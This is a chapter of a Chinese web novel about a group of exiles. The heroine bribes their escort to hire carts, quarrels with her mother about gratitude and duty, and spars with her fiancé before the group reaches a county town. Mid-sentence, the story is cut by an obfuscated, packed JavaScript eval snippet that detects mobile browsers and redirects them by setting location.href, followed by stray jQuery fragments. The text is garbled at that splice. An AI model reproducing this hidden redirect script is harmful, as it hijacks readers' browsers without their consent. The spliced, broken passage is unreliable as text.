10. 第十章

作品:《和死对头一起被流放后

    洗漱完毕,吴铜乾已拿着绳索在门外吆喝:“速速出来,继续赶路了!”看到木桌上的热粥,眼睛一亮。


    江琼娘察觉到他的眼神,正准备相让时,周绥抢先道:“吴管事请进来坐,我有些事与你说。”


    吴铜乾咧嘴笑起来,心道周绥虽凶神恶煞,却到底识相。比起煞神程尚,阴阳怪气的郇度,简直令他如沐春风。


    周绥随即又对江琼娘道:“快些用饭,别耽搁赶路,误了吴管事的差事。”


    江琼娘见周绥舀粥送进嘴里,犹豫着坐下来,跟着吃了起来。


    吴铜乾瞬间拉下脸,脚勾着木凳哐当响,一撩公服,大马金刀坐下,将佩刀褡裢一并挪到身前,鼻孔朝天道:“我还未曾用早饭呢,你有事快些说。”


    周绥无视吴铜乾欲用热粥的言外之意,开门见山道:“我们实在无力继续徒步前行。若赁车前往,清河镇离元阳县八十里,夜里正好歇在此处。吴管事尽管放心,我们不会逃跑,跑,亦跑不动。”


    游大智伤口无大碍,行走却不甚利索。周昭临是书生,早上都下不了铺。郇度年轻,精力尚可,绝非程尚的对手。周绥与江琼娘羸弱之躯,更不足为惧。


    吴铜乾自不愿吃苦受罪,脑子一转,道:“周姑娘打算赁车,也未尝不可。只我们一行七人,必要两辆车,驴车脚力不足,得青壮骡车。走这一趟来回,少不得一两银。这银子,文承不肯出,不若周姑娘拿出来?”


    周绥爽快地应了,取出钱袋,当着眼冒绿光的吴铜乾,点了二两碎银:“劳烦吴管事了。”


    吴铜乾飞快将银子揣进褡裢中,笑得嘴都咧到脑后,也不计较热粥饭,和颜悦色道:“我这就去大车行,周姑娘,江娘子慢用。”


    江琼娘待他走远了,忧心忡忡道:“这一趟车程,约莫只要八钱银,吴铜乾见钱眼开,私自瞒下足足四钱银。花些小钱孝敬,在周家平安时,无甚要紧。岁岁,你身上没几两银,吴铜乾尝到甜头,以后拿不出银子来,只怕他会翻脸不认人。”


    吴铜乾若不贪财,正直无私,他们应当在睡马厩。解差俸禄少,差事辛苦,索取犯人钱财司空见惯。养肥吴铜乾的胃口,反倒能顺利指挥他去做事。


    周绥言简意赅地道:“我们始终是犯人,花些小钱不叫孝敬,叫做保命。”


    江琼娘道也是,她眉间仍然愁云密布,“岁岁,我见阿承陌生得很,你被游大智欺负,也不见他替你撑腰。他可是怨了你阿爹?”


    “我不需要他撑腰。”


    周绥缓缓抬头看着江琼娘,神色沉静,“你也要立起来,莫要让任何人替你撑腰。”


    江琼娘怔了怔,忙谆谆劝道:“岁岁,你莫要怨你阿爹,你阿爹最疼爱你不过。以前生你艰难,我绵延病榻好些年,是你阿爹亲自看顾,悉心将你养大。你大哥没了,有人在背后嚼舌根,周家断了后,让你阿爹纳妾,生一个儿子继承周家香火。你阿爹从不理会,说是有你已足矣。”


    周绥嗯了声,道:“你呢,你如何以为?”


    江琼娘疑惑不解,周绥顿了顿,道:“你以为不纳妾生儿子承继香火,便算作良人,你要以命相报。生产时差点丧命,你也无怨无悔。生产后,无法喂养孩儿,心怀愧疚。这份愧疚,不是对着孩儿,而是夫君。”


    她笑了起来,“对夫君,对孩儿,从何来的愧疚?为何将自己看得这般卑微,将性命系在他们身上?”


    “岁岁!”


    江琼娘神色难看起来,红了眼眶,厉声道:“都怪我们宠着你,宠得你骄纵蛮横,是非不分!投我以木瓜,报之以琼琚。若无善念,知恩图报,人何以为人!”


    周绥从不信那些金玉良言,她以为,投之以木瓜,想要求得琼琚,是贪心。投之以木瓜,是自甘自愿,得不到回报,便心生不满,称不上善念,实为小人之心。


    甘愿赠予,则痛痛快快拿出去,别再做他想。反正,她想要之物,她自会去争夺,得不到,是她本事不够,无怨无悔。


    与江琼娘无话可说,周绥不再浪费唇舌。默不作声用完粥,挪到铺上半靠着养神,等待吴铜乾赁车归来。


    江琼娘骂过周绥,又自责起来。想要安慰她,见她闭目不言,便忍住了,先让她歇着,打算出门去看周昭临。


    这时,郇度晃悠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960713|193285||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着来到门外,江琼娘怔了怔,压低声音道:“岁岁在歇息,阿承可有事?”


    郇度从江琼娘身边看进去,周绥一动不动,他不禁嘴角微勾,拔高声音道:“我没事,听说有车坐,坐车腰酸背疼,我先活泛活泛身子。”


    周绥无视郇度的嘲讽,连眼皮都没抬。


    江琼娘急着拦他,“你小声些,别吵着岁岁。”


    郇度似笑非笑道:“师母放心,她清醒着,我吵不着她。”


    江琼娘不禁回头朝周绥看去,她脸色苍白,眼底泛着青意,心疼不已道:“岁岁哪吃过这种苦,如今她站都站不稳……”


    周绥蹙眉,扬声打断江琼娘的话,“他是来送银子,你去看阿爹,让他把银子送进来。”


    江琼娘料到郇度身上藏着银子,神色缓和了几分,忙小声道:“我去看你先生,你且进屋去,别让吴铜乾看到了。”


    郇度抱臂晃悠进屋,立在周绥面前,上下打量着她,俯低身,“你与程尚月下私会,他连一个大钱都不肯拿出来?”


    昨夜不见他的身影,原是在暗中窥视。


    周绥作势去拔发髻上的改锥,郇度倏地退后,防备地盯着她。


    “众人皆知,你我已定亲。我与程尚月下私会,你却一声不敢吭。呵呵,十足的缩头乌龟,何高兴之有?”


    郇度脸上笑容退去,阴沉着脸,手臂微动。


    周绥朝屋外看去,淡笑道:“我的情郎来了。”


    郇度定住,转身回头,程尚立在不远处,正看着他们。


    吴铜乾的吆喝声响起:“赶紧启程上路!”


    两架骡车,周绥、江琼娘、郇度一辆,周昭临、吴铜乾、游大智一辆。程尚与周绥同车,坐在赶车车夫身边。


    骡车晃悠,朝着元阳县而去。昨日累得够呛,皆在车上昏昏欲睡,没了力气争斗。


    途中歇脚几次,紧赶慢赶,总算在城门即将关闭时,进了县城。


    元阳县的驿馆比不得清水镇,狭小陈旧。颠簸一整日,浑身快散架。周绥打量着油漆斑驳的门楣,打算另寻舒适的客栈。


    她正待下车,出事了。